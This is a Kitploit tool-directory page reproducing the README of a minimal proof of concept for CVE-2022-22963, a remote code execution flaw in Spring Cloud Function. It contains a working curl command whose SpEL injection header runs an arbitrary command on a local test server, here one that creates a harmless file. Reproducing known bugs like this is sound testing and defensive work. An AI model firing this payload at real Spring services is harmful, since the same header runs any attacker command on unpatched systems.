Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-22963-PoC — Minimal proof-of-concept for CVE-2022-22963 remote code execution in Spring Cloud Function via SpEL injection. Demonstrates exploitation with curl and a vulnerable server. | Kitploit
Tools/GitHubGitHub/kirill89/cve-2022-22963-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubkirill89/cve-2022-22963-poc

CVE-2022-22963-PoC

Minimal proof-of-concept for CVE-2022-22963 remote code execution in Spring Cloud Function via SpEL injection. Demonstrates exploitation with curl and a vulnerable server.

View Repository
9314 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-22963 RCE PoC

Minimal example to reproduce CVE-2022-22963 remote code execution in org.springframework.cloud:spring-cloud-function-core.

Exploit

Run the server

root@kitploit:~
mvn spring-boot:run

Make a request

root@kitploit:~
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter

As a result of the exploit file PWNED will be crated nearby pom.xml.

Additional info

  • Original advisory: https://tanzu.vmware.com/security/cve-2022-22963
  • Snyk advisory: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
  • This PoC is based on: https://github.com/Pizz33/Spring-Cloud-Function-SpEL
Download Tool